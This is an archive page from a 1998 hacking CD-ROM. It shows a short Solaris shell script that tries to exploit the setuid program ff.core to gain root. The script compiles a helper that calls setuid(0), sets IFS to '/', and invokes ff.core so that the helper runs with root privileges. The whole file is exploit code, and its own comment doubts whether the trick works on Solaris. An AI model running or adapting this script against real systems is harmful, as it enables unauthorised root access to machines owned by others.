home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sol_ffco.sh < prev    next >
Encoding:
Linux/UNIX/POSIX Shell Script  |  2003-06-11  |  394 b   |  17 lines

  1. #!/bin/sh -f
  2. # try to exploit ff.core hole (?? does solaris honour suid IFS changes?)
  3. cat > usr.c << _EOF_
  4. main() {
  5. printf("uid=%d gid=%d\n", getuid(), getgid());
  6.  setuid(0); setgid(0); seteuid(0); setegid(0);
  7.  printf("uid after set=%d\n", getuid());
  8. }
  9. _EOF_
  10. cc -o usr usr.c
  11. chmod 700 usr
  12. IFS="/"
  13. export IFS
  14. /usr/openwin/bin/ff.core 0 0 0 0 0
  15. #ffc 0 0 fd0/fd0 1
  16. rm -f usr usr.c
  17.